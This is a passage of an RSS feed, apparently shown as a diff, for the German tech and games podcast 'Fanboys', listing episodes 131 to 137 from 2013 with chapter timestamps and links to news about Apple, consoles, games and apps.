+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:10</td><td>Vorstellungsrunde</td></tr><tr><td>00:03:31</td><td><a href="http://zzhk.de" target="_blank">Wie kam es dazu?</td></tr><tr><td>00:05:46</td><td>Memospiel</td></tr><tr><td>00:11:48</td><td>Animationen</td></tr><tr><td>00:17:33</td><td>Menüführung</td></tr><tr><td>00:19:42</td><td>Kindergarten Tests</td></tr><tr><td>00:25:07</td><td>Der Pfeil</td></tr><tr><td>00:30:52</td><td>Debug Kram</td></tr><tr><td>00:34:51</td><td>Illustration</td></tr><tr><td>00:40:21</td><td>Elternmodus</td></tr><tr><td>00:41:13</td><td>Computerhuhn</td></tr><tr><td>00:41:52</td><td>Künstliche Intelligenz</td></tr><tr><td>00:47:37</td><td>Geführter Zugriff</td></tr><tr><td>00:53:32</td><td>Credits</td></tr><tr><td>00:59:01</td><td><a href="http://www.zoch-verlag.com" target="_blank">Teil Zwei mit dem Zoch Verlag</td></tr><tr><td>00:59:47</td><td>mit Klaus Zoch</td></tr><tr><td>01:00:07</td><td>und Albrecht Werstein</td></tr><tr><td>01:01:10</td><td>Wie kommt ihr dazu?</td></tr><tr><td>01:10:16</td><td>Der Anfang des Zoch Verlag</td></tr><tr><td>01:17:36</td><td>Was ist das tolle am Spielen?</td></tr><tr><td>01:22:14</td><td>Computerspiele</td></tr><tr><td>01:29:03</td><td>Unterschiede</td></tr><tr><td>01:40:03</td><td>Regeln lesen</td></tr><tr><td>01:48:09</td><td>Jubiläum</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:10" title="Vorstellungsrunde" />
+ <sc:chapter start="00:03:31" title="Wie kam es dazu?" href="http://zzhk.de" />
+ <sc:chapter start="00:05:46" title="Memospiel" />
+ <sc:chapter start="00:11:48" title="Animationen" />
+ <sc:chapter start="00:17:33" title="Menüführung" />
+ <sc:chapter start="00:19:42" title="Kindergarten Tests" />
+ <sc:chapter start="00:25:07" title="Der Pfeil" />
+ <sc:chapter start="00:30:52" title="Debug Kram" />
+ <sc:chapter start="00:34:51" title="Illustration" />
+ <sc:chapter start="00:40:21" title="Elternmodus" />
+ <sc:chapter start="00:41:13" title="Computerhuhn" />
+ <sc:chapter start="00:41:52" title="Künstliche Intelligenz" />
+ <sc:chapter start="00:47:37" title="Geführter Zugriff" />
+ <sc:chapter start="00:53:32" title="Credits" />
+ <sc:chapter start="00:59:01" title="Teil Zwei mit dem Zoch Verlag" href="http://www.zoch-verlag.com" />
+ <sc:chapter start="00:59:47" title="mit Klaus Zoch" />
+ <sc:chapter start="01:00:07" title="und Albrecht Werstein" />
+ <sc:chapter start="01:01:10" title="Wie kommt ihr dazu?" />
+ <sc:chapter start="01:10:16" title="Der Anfang des Zoch Verlag" />
+ <sc:chapter start="01:17:36" title="Was ist das tolle am Spielen?" />
+ <sc:chapter start="01:22:14" title="Computerspiele" />
+ <sc:chapter start="01:29:03" title="Unterschiede" />
+ <sc:chapter start="01:40:03" title="Regeln lesen" />
+ <sc:chapter start="01:48:09" title="Jubiläum" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23137&amp;user_id=map&amp;title=Fanboys%20Episode%20137&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#137:" />
+ </item>
+ <item>
+ <title>Episode #136 - Haar Haar</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Haar Haar</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN136.mp3" length="38609810" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN136</guid>
+ <pubDate>Wed, 11 Sep 2013 17:56:12 +0200</pubDate>
+ <itunes:duration>01:23:23</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:30 Keynote
+00:05:04 iTunes Festival
+00:07:05 iOS 7 am 18.9, GM seit gestern
+00:12:56 iWork, iMovie, iPhoto für iOS umsonst
+00:15:49 iPhone 5c
+00:26:09 iPhone 5s
+00:36:20 M7 Motion Coprocessor
+00:37:55 Kamera
+00:44:14 Touch ID
+01:02:43 iOS 7 fragt jetzt beim starten schon nach passcode
+01:07:59 PS Vita TV
+01:10:23 Photoshop CC
+01:16:29 Ryan Nielson auf Debug
+01:17:50 Zicke Zacke Hühnerkacke
+01:20:11 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:30</td><td>Keynote</td></tr><tr><td>00:05:04</td><td>iTunes Festival</td></tr><tr><td>00:07:05</td><td>iOS 7 am 18.9, GM seit gestern</td></tr><tr><td>00:12:56</td><td>iWork, iMovie, iPhoto für iOS umsonst</td></tr><tr><td>00:15:49</td><td>iPhone 5c</td></tr><tr><td>00:26:09</td><td>iPhone 5s</td></tr><tr><td>00:36:20</td><td>M7 Motion Coprocessor</td></tr><tr><td>00:37:55</td><td>Kamera</td></tr><tr><td>00:44:14</td><td>Touch ID</td></tr><tr><td>01:02:43</td><td>iOS 7 fragt jetzt beim starten schon nach passcode</td></tr><tr><td>01:07:59</td><td><a href="http://www.heise.de/newsticker/meldung/Sony-stellt-Mini-Konsole-PS-Vita-TV-vor-1952457.html" target="_blank">PS Vita TV</td></tr><tr><td>01:10:23</td><td><a href="http://blogs.adobe.com/photoshopdotcom/2013/09/introducing-adobe-generator-for-photoshop-cc.html" target="_blank">Photoshop CC</td></tr><tr><td>01:16:29</td><td><a href="http://www.imore.com/debug-20-ryan-nielsen-apple-and-os-x" target="_blank">Ryan Nielson auf Debug</td></tr><tr><td>01:17:50</td><td>Zicke Zacke Hühnerkacke</td></tr><tr><td>01:20:11</td><td><a href="http://www.youtube.com/watch?v=yIWsoZq_Uxk" target="_blank">Rausschmeisser</td></tr><tr><td>01:20:17</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:30" title="Keynote" />
+ <sc:chapter start="00:05:04" title="iTunes Festival" />
+ <sc:chapter start="00:07:05" title="iOS 7 am 18.9, GM seit gestern" />
+ <sc:chapter start="00:12:56" title="iWork, iMovie, iPhoto für iOS umsonst" />
+ <sc:chapter start="00:15:49" title="iPhone 5c" />
+ <sc:chapter start="00:26:09" title="iPhone 5s" />
+ <sc:chapter start="00:36:20" title="M7 Motion Coprocessor" />
+ <sc:chapter start="00:37:55" title="Kamera" />
+ <sc:chapter start="00:44:14" title="Touch ID" />
+ <sc:chapter start="01:02:43" title="iOS 7 fragt jetzt beim starten schon nach passcode" />
+ <sc:chapter start="01:07:59" title="PS Vita TV" href="http://www.heise.de/newsticker/meldung/Sony-stellt-Mini-Konsole-PS-Vita-TV-vor-1952457.html" />
+ <sc:chapter start="01:10:23" title="Photoshop CC" href="http://blogs.adobe.com/photoshopdotcom/2013/09/introducing-adobe-generator-for-photoshop-cc.html" />
+ <sc:chapter start="01:16:29" title="Ryan Nielson auf Debug" href="http://www.imore.com/debug-20-ryan-nielsen-apple-and-os-x" />
+ <sc:chapter start="01:17:50" title="Zicke Zacke Hühnerkacke" />
+ <sc:chapter start="01:20:11" title="Rausschmeisser" href="http://www.youtube.com/watch?v=yIWsoZq_Uxk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23136&amp;user_id=map&amp;title=Fanboys%20Episode%20136&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#136:" />
+ </item>
+ <item>
+ <title>Episode #135 - O-Ballmer</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>O-Ballmer</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN135.mp3" length="30974145" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN135</guid>
+ <pubDate>Thu, 05 Sep 2013 17:38:11 +0200</pubDate>
+ <itunes:duration>01:10:22</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:01 iPhone 5c Hamstersärge vollbestückt geleaked
+00:07:30 This should brighten everyone’s day
+00:16:29 Samsung Smartwatch
+00:21:19 Godus im Steam Early Access am 13.
+00:23:25 Nintendo 2DS, Wii U Deluxe billiger
+00:26:11 „Unity 2D“
+00:28:02 Ouya Kickstarter Foo
+00:29:25 Kevin Spacey Spricht großartig:
+00:33:21 Hell froze over - bugreport.apple.com
+00:41:53 Microsoft kauft Hardwaresparte von Nokia
+00:46:38 Facetime geht jetzt immer durch Apple's Server
+00:48:44 Android KitKat®
+00:54:44 Freiheit statt Angst
+00:59:32 Kamakiri
+01:00:33 Brawlin' Sailor
+01:06:04 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:01</td><td><a href="http://www.macrumors.com/2013/09/02/packaged-iphone-5c-surfaces-again-in-multiple-colors-video-shows-powered-on-unit/" target="_blank">iPhone 5c Hamstersärge vollbestückt geleaked</td></tr><tr><td>00:07:30</td><td><a href="http://www.macrumors.com/2013/09/03/apple-issues-invitations-for-september-10-media-event/" target="_blank">This should brighten everyone’s day</td></tr><tr><td>00:16:29</td><td><a href="http://www.samsungmobilepress.com/2013/09/04/Samsung-Introduces-GALAXY-Gear,-a-Wearable-Device-to-Enhance-the-Freedom-of-Mobile-Communications-1" target="_blank">Samsung Smartwatch</td></tr><tr><td>00:21:19</td><td><a href="http://www.tuaw.com/2013/08/30/peter-molyneuxs-godus-scheduled-to-land-on-mac-on-september-13/" target="_blank">Godus im Steam Early Access am 13.</td></tr><tr><td>00:23:25</td><td><a href="http://www.nintendo.com/3ds/new/" target="_blank">Nintendo 2DS, Wii U Deluxe billiger</td></tr><tr><td>00:26:11</td><td><a href="http://blogs.unity3d.com/2013/08/29/keynote-insights-from-unite-2013/" target="_blank">„Unity 2D“</td></tr><tr><td>00:28:02</td><td><a href="http://www.theverge.com/2013/8/28/4667078/ouya-kickstarter-scam-allegations" target="_blank">Ouya Kickstarter Foo</td></tr><tr><td>00:29:25</td><td><a href="http://youtu.be/oheDqofa5NM" target="_blank">Kevin Spacey Spricht großartig:</td></tr><tr><td>00:33:21</td><td>Hell froze over - bugreport.apple.com</td></tr><tr><td>00:41:53</td><td><a href="http://allthingsd.com/20130902/microsoft-to-buy-nokias-device-business-for-7-17-billion-euros/" target="_blank">Microsoft kauft Hardwaresparte von Nokia</td></tr><tr><td>00:46:38</td><td><a href="http://arstechnica.com/tech-policy/2013/08/report-after-patent-loss-apple-tweaks-facetime-and-logs-500000-complaints/" target="_blank">Facetime geht jetzt immer durch Apple's Server</td></tr><tr><td>00:48:44</td><td><a href="http://www.android.com/kitkat/" target="_blank">Android KitKat®</td></tr><tr><td>00:54:44</td><td><a href="http://blog.freiheitstattangst.de" target="_blank">Freiheit statt Angst</td></tr><tr><td>00:59:32</td><td><a href="https://mochidev.com/apps/kamakiri/" target="_blank">Kamakiri</td></tr><tr><td>01:00:33</td><td><a href="http://www.newgrounds.com/portal/view/624426" target="_blank">Brawlin' Sailor</td></tr><tr><td>01:06:04</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:01" title="iPhone 5c Hamstersärge vollbestückt geleaked" href="http://www.macrumors.com/2013/09/02/packaged-iphone-5c-surfaces-again-in-multiple-colors-video-shows-powered-on-unit/" />
+ <sc:chapter start="00:07:30" title="This should brighten everyone’s day" href="http://www.macrumors.com/2013/09/03/apple-issues-invitations-for-september-10-media-event/" />
+ <sc:chapter start="00:16:29" title="Samsung Smartwatch" href="http://www.samsungmobilepress.com/2013/09/04/Samsung-Introduces-GALAXY-Gear,-a-Wearable-Device-to-Enhance-the-Freedom-of-Mobile-Communications-1" />
+ <sc:chapter start="00:21:19" title="Godus im Steam Early Access am 13." href="http://www.tuaw.com/2013/08/30/peter-molyneuxs-godus-scheduled-to-land-on-mac-on-september-13/" />
+ <sc:chapter start="00:23:25" title="Nintendo 2DS, Wii U Deluxe billiger" href="http://www.nintendo.com/3ds/new/" />
+ <sc:chapter start="00:26:11" title="„Unity 2D“" href="http://blogs.unity3d.com/2013/08/29/keynote-insights-from-unite-2013/" />
+ <sc:chapter start="00:28:02" title="Ouya Kickstarter Foo" href="http://www.theverge.com/2013/8/28/4667078/ouya-kickstarter-scam-allegations" />
+ <sc:chapter start="00:29:25" title="Kevin Spacey Spricht großartig:" href="http://youtu.be/oheDqofa5NM" />
+ <sc:chapter start="00:33:21" title="Hell froze over - bugreport.apple.com" />
+ <sc:chapter start="00:41:53" title="Microsoft kauft Hardwaresparte von Nokia" href="http://allthingsd.com/20130902/microsoft-to-buy-nokias-device-business-for-7-17-billion-euros/" />
+ <sc:chapter start="00:46:38" title="Facetime geht jetzt immer durch Apple's Server" href="http://arstechnica.com/tech-policy/2013/08/report-after-patent-loss-apple-tweaks-facetime-and-logs-500000-complaints/" />
+ <sc:chapter start="00:48:44" title="Android KitKat®" href="http://www.android.com/kitkat/" />
+ <sc:chapter start="00:54:44" title="Freiheit statt Angst" href="http://blog.freiheitstattangst.de" />
+ <sc:chapter start="00:59:32" title="Kamakiri" href="https://mochidev.com/apps/kamakiri/" />
+ <sc:chapter start="01:00:33" title="Brawlin' Sailor" href="http://www.newgrounds.com/portal/view/624426" />
+ <sc:chapter start="01:06:04" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23135&amp;user_id=map&amp;title=Fanboys%20Episode%20135&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#135:" />
+ </item>
+ <item>
+ <title>Episode #134 - GRAVITYYYY FALLS!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>GRAVITYYYY FALLS!</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN134.mp3" length="22462725" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN134</guid>
+ <pubDate>Wed, 28 Aug 2013 17:31:23 +0200</pubDate>
+ <itunes:duration>00:49:05</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:19 Ballmer verlässt Microsoft
+00:08:55 Openmind Nachlese
+00:09:30 Keynote
+00:14:06 Wir und unsere Luxusprobleme
+00:15:23 Ihr gehört nur mal ordentlich durchgevögelt
+00:19:05 Macht, Meme und Metaphern
+00:21:30 iOS 7 Release am 10.9?
+00:25:48 A7 vielliecht 64-bit?
+00:30:15 iWork for iCloud beta
+00:32:18 Splitscreen in Photoshop
+00:34:34 Blackbar
+00:38:47 Bosca Ceoil
+00:41:19 Zugradar
+00:42:38 Noteshelf
+00:44:34 Flight of the Conchords auf Watchever
+00:48:20 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:11</td><td>NEWS</td></tr><tr><td>00:03:19</td><td><a href="http://appleinsider.com/articles/13/08/26/ceo-steve-ballmers-exit-not-as-planned-or-smooth-as-suggested-by-microsoft" target="_blank">Ballmer verlässt Microsoft</td></tr><tr><td>00:08:55</td><td>Openmind Nachlese</td></tr><tr><td>00:09:30</td><td><a href="http://www.youtube.com/watch?v=2gmxKsyPgNQ" target="_blank">Keynote</td></tr><tr><td>00:14:06</td><td><a href="http://www.youtube.com/watch?v=KLFMM2uNsRU" target="_blank">Wir und unsere Luxusprobleme</td></tr><tr><td>00:15:23</td><td><a href="https://www.youtube.com/watch?v=ZhZX2H_kqp4" target="_blank">Ihr gehört nur mal ordentlich durchgevögelt</td></tr><tr><td>00:19:05</td><td><a href="https://www.youtube.com/watch?v=rIZSQi70Ejg" target="_blank">Macht, Meme und Metaphern</td></tr><tr><td>00:21:30</td><td>iOS 7 Release am 10.9?</td></tr><tr><td>00:25:48</td><td><a href="http://www.macrumors.com/2013/08/25/a7-processor-to-be-31-faster-and-64-bit-iphone-5-to-support-motion-tracking/" target="_blank">A7 vielliecht 64-bit?</td></tr><tr><td>00:30:15</td><td><a href="http://www.macrumors.com/2013/08/26/apple-limits-access-to-iwork-for-icloud-following-overwhelming-response-to-public-beta/" target="_blank">iWork for iCloud beta</td></tr><tr><td>00:32:18</td><td>Splitscreen in Photoshop</td></tr><tr><td>00:34:34</td><td><a href="https://appsto.re/i6xr8SF" target="_blank">Blackbar</td></tr><tr><td>00:38:47</td><td><a href="http://distractionware.com/blog/2013/08/bosca-ceoil/" target="_blank">Bosca Ceoil</td></tr><tr><td>00:41:19</td><td><a href="http://www.bahn.de/zugradar" target="_blank">Zugradar</td></tr><tr><td>00:42:38</td><td><a href="https://appsto.re/de/jnfyx.i" target="_blank">Noteshelf</td></tr><tr><td>00:44:34</td><td>Flight of the Conchords auf Watchever</td></tr><tr><td>00:48:20</td><td><a href="https://www.youtube.com/watch?v=en3PZ09fue8" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:19" title="Ballmer verlässt Microsoft" href="http://appleinsider.com/articles/13/08/26/ceo-steve-ballmers-exit-not-as-planned-or-smooth-as-suggested-by-microsoft" />
+ <sc:chapter start="00:08:55" title="Openmind Nachlese" />
+ <sc:chapter start="00:09:30" title="Keynote" href="http://www.youtube.com/watch?v=2gmxKsyPgNQ" />
+ <sc:chapter start="00:14:06" title="Wir und unsere Luxusprobleme" href="http://www.youtube.com/watch?v=KLFMM2uNsRU" />
+ <sc:chapter start="00:15:23" title="Ihr gehört nur mal ordentlich durchgevögelt" href="https://www.youtube.com/watch?v=ZhZX2H_kqp4" />
+ <sc:chapter start="00:19:05" title="Macht, Meme und Metaphern" href="https://www.youtube.com/watch?v=rIZSQi70Ejg" />
+ <sc:chapter start="00:21:30" title="iOS 7 Release am 10.9?" />
+ <sc:chapter start="00:25:48" title="A7 vielliecht 64-bit?" href="http://www.macrumors.com/2013/08/25/a7-processor-to-be-31-faster-and-64-bit-iphone-5-to-support-motion-tracking/" />
+ <sc:chapter start="00:30:15" title="iWork for iCloud beta" href="http://www.macrumors.com/2013/08/26/apple-limits-access-to-iwork-for-icloud-following-overwhelming-response-to-public-beta/" />
+ <sc:chapter start="00:32:18" title="Splitscreen in Photoshop" />
+ <sc:chapter start="00:34:34" title="Blackbar" href="https://appsto.re/i6xr8SF" />
+ <sc:chapter start="00:38:47" title="Bosca Ceoil" href="http://distractionware.com/blog/2013/08/bosca-ceoil/" />
+ <sc:chapter start="00:41:19" title="Zugradar" href="http://www.bahn.de/zugradar" />
+ <sc:chapter start="00:42:38" title="Noteshelf" href="https://appsto.re/de/jnfyx.i" />
+ <sc:chapter start="00:44:34" title="Flight of the Conchords auf Watchever" />
+ <sc:chapter start="00:48:20" title="Rausschmeisser" href="https://www.youtube.com/watch?v=en3PZ09fue8" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23134&amp;user_id=map&amp;title=Fanboys%20Episode%20134&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#134:" />
+ </item>
+ <item>
+ <title>Episode #133 - Guck irgendwohin</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Guck irgendwohin</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN133.mp3" length="25877112" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN133</guid>
+ <pubDate>Wed, 21 Aug 2013 17:33:42 +0200</pubDate>
+ <itunes:duration>00:57:43</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:48 Zwei iPhone Modelle quasi offiziell
+00:09:20 Gamescom Sony PK
+00:10:57 Sony umarmt Indies
+00:12:01 Murasaki Baby
+00:15:02 Everybody's gone to the Rapture
+00:16:00 PS4 Release 29.11
+00:16:20 PS3 und Vita billiger
+00:16:34 Rime
+00:20:56 Neues von der Ouya
+00:24:25 Remote Code Execution
+00:27:23 Gone Home
+00:35:12 Malen mit Photoshop
+00:37:49 2D platform controller
+00:43:40 Playmaker
+00:48:13 PvZ 2
+00:53:49 Frontback
+00:56:47 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:48</td><td><a href="http://online.wsj.com/article/SB10001424127887324747104579022993954766508.html" target="_blank">Zwei iPhone Modelle quasi offiziell</td></tr><tr><td>00:09:20</td><td>Gamescom Sony PK</td></tr><tr><td>00:10:57</td><td>Sony umarmt Indies</td></tr><tr><td>00:12:01</td><td><a href="http://www.youtube.com/watch?v=ojXo6xKhO_4" target="_blank">Murasaki Baby</td></tr><tr><td>00:15:02</td><td><a href="http://www.youtube.com/watch?v=t0aeUp5FUOI" target="_blank">Everybody's gone to the Rapture</td></tr><tr><td>00:16:00</td><td>PS4 Release 29.11</td></tr><tr><td>00:16:20</td><td><a href="http://www.complex.com/video-games/2013/08/sony-playstation-4-ps3-vita" target="_blank">PS3 und Vita billiger</td></tr><tr><td>00:16:34</td><td><a href="http://youtu.be/V-JunUax8xg" target="_blank">Rime</td></tr><tr><td>00:20:56</td><td><a href="http://www.youtube.com/watch?v=g0ha6Mb5_YQ" target="_blank">Neues von der Ouya</td></tr><tr><td>00:24:25</td><td><a href="http://www.macrumors.com/2013/08/20/apple-developer-center-outage-fixed-remote-code-execution-flaw/" target="_blank">Remote Code Execution</td></tr><tr><td>00:27:23</td><td><a href="http://www.gonehomegame.com" target="_blank">Gone Home</td></tr><tr><td>00:35:12</td><td><a href="http://ctrlpaint.com" target="_blank">Malen mit Photoshop</td></tr><tr><td>00:37:49</td><td><a href="http://jnamobile.com/2dplatformcontroller" target="_blank">2D platform controller</td></tr><tr><td>00:43:40</td><td><a href="http://www.hutonggames.com" target="_blank">Playmaker</td></tr><tr><td>00:48:13</td><td><a href="http://www.popcap.com/plants-vs-zombies-2" target="_blank">PvZ 2</td></tr><tr><td>00:53:49</td><td><a href="https://itunes.apple.com/de/app/frontback/id673566671?mt=8" target="_blank">Frontback</td></tr><tr><td>00:56:47</td><td><a href="https://www.youtube.com/watch?v=Xm8WmiKj5go" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:48" title="Zwei iPhone Modelle quasi offiziell" href="http://online.wsj.com/article/SB10001424127887324747104579022993954766508.html" />
+ <sc:chapter start="00:09:20" title="Gamescom Sony PK" />
+ <sc:chapter start="00:10:57" title="Sony umarmt Indies" />
+ <sc:chapter start="00:12:01" title="Murasaki Baby" href="http://www.youtube.com/watch?v=ojXo6xKhO_4" />
+ <sc:chapter start="00:15:02" title="Everybody's gone to the Rapture" href="http://www.youtube.com/watch?v=t0aeUp5FUOI" />
+ <sc:chapter start="00:16:00" title="PS4 Release 29.11" />
+ <sc:chapter start="00:16:20" title="PS3 und Vita billiger" href="http://www.complex.com/video-games/2013/08/sony-playstation-4-ps3-vita" />
+ <sc:chapter start="00:16:34" title="Rime" href="http://youtu.be/V-JunUax8xg" />
+ <sc:chapter start="00:20:56" title="Neues von der Ouya" href="http://www.youtube.com/watch?v=g0ha6Mb5_YQ" />
+ <sc:chapter start="00:24:25" title="Remote Code Execution" href="http://www.macrumors.com/2013/08/20/apple-developer-center-outage-fixed-remote-code-execution-flaw/" />
+ <sc:chapter start="00:27:23" title="Gone Home" href="http://www.gonehomegame.com" />
+ <sc:chapter start="00:35:12" title="Malen mit Photoshop" href="http://ctrlpaint.com" />
+ <sc:chapter start="00:37:49" title="2D platform controller" href="http://jnamobile.com/2dplatformcontroller" />
+ <sc:chapter start="00:43:40" title="Playmaker" href="http://www.hutonggames.com" />
+ <sc:chapter start="00:48:13" title="PvZ 2" href="http://www.popcap.com/plants-vs-zombies-2" />
+ <sc:chapter start="00:53:49" title="Frontback" href="https://itunes.apple.com/de/app/frontback/id673566671?mt=8" />
+ <sc:chapter start="00:56:47" title="Rausschmeisser" href="https://www.youtube.com/watch?v=Xm8WmiKj5go" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23133&amp;user_id=map&amp;title=Fanboys%20Episode%20133&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#133:" />
+ </item>
+ <item>
+ <title>Episode #132 - Bluetoothkabel</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Bluetoothkabel</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN132.mp3" length="22827215" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN132</guid>
+ <pubDate>Wed, 14 Aug 2013 17:17:45 +0200</pubDate>
+ <itunes:duration>00:48:54</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:21 Iwata statement
+00:13:22 Steve Jobs Disney Legend
+00:15:37 iPhone Announcement am 10.09
+00:18:44 Investors gotta invest
+00:21:20 Volume Trailer
+00:25:54 Gravity Falls
+00:29:32 Speaker Deck
+00:32:53 DEF CON Doku
+00:41:00 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:21</td><td><a href="http://www.computerandvideogames.com/423036/iwata-nintendo-games-on-rival-platforms-would-only-be-a-short-term-fix/" target="_blank">Iwata statement</td></tr><tr><td>00:13:22</td><td><a href="http://www.tuaw.com/2013/08/12/steve-jobs-posthumously-awarded-disney-legends-award/" target="_blank">Steve Jobs Disney Legend</td></tr><tr><td>00:15:37</td><td><a href="http://www.macrumors.com/2013/08/10/apple-to-unveil-next-generation-iphone-on-september-10/" target="_blank">iPhone Announcement am 10.09</td></tr><tr><td>00:18:44</td><td><a href="http://www.macrumors.com/2013/08/13/carl-icahn-discloses-large-position-in-apple-believes-company-is-extremely-undervalued/" target="_blank">Investors gotta invest</td></tr><tr><td>00:21:20</td><td><a href="http://indiegames.com/2013/08/thomas_was_alone_dev_announces.html" target="_blank">Volume Trailer</td></tr><tr><td>00:25:54</td><td><a href="http://en.wikipedia.org/wiki/Gravity_Falls" target="_blank">Gravity Falls</td></tr><tr><td>00:29:32</td><td><a href="https://speakerdeck.com" target="_blank">Speaker Deck</td></tr><tr><td>00:32:53</td><td><a href="http://www.defcon.org/html/links/dc-torrent.html" target="_blank">DEF CON Doku</td></tr><tr><td>00:41:00</td><td><a href="http://www.youtube.com/watch?v=WUClP2fFfLw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:21" title="Iwata statement" href="http://www.computerandvideogames.com/423036/iwata-nintendo-games-on-rival-platforms-would-only-be-a-short-term-fix/" />
+ <sc:chapter start="00:13:22" title="Steve Jobs Disney Legend" href="http://www.tuaw.com/2013/08/12/steve-jobs-posthumously-awarded-disney-legends-award/" />
+ <sc:chapter start="00:15:37" title="iPhone Announcement am 10.09" href="http://www.macrumors.com/2013/08/10/apple-to-unveil-next-generation-iphone-on-september-10/" />
+ <sc:chapter start="00:18:44" title="Investors gotta invest" href="http://www.macrumors.com/2013/08/13/carl-icahn-discloses-large-position-in-apple-believes-company-is-extremely-undervalued/" />
+ <sc:chapter start="00:21:20" title="Volume Trailer" href="http://indiegames.com/2013/08/thomas_was_alone_dev_announces.html" />
+ <sc:chapter start="00:25:54" title="Gravity Falls" href="http://en.wikipedia.org/wiki/Gravity_Falls" />
+ <sc:chapter start="00:29:32" title="Speaker Deck" href="https://speakerdeck.com" />
+ <sc:chapter start="00:32:53" title="DEF CON Doku" href="http://www.defcon.org/html/links/dc-torrent.html" />
+ <sc:chapter start="00:41:00" title="Rausschmeisser" href="http://www.youtube.com/watch?v=WUClP2fFfLw" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23132&amp;user_id=map&amp;title=Fanboys%20Episode%20132&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#132:" />
+ </item>
+ <item>
+ <title>Episode #131 - Käse Tetris</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Käse Tetris</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN131.mp3" length="25780230" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN131</guid>
+ <pubDate>Thu, 08 Aug 2013 16:21:52 +0200</pubDate>
+ <itunes:duration>00:53:59</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
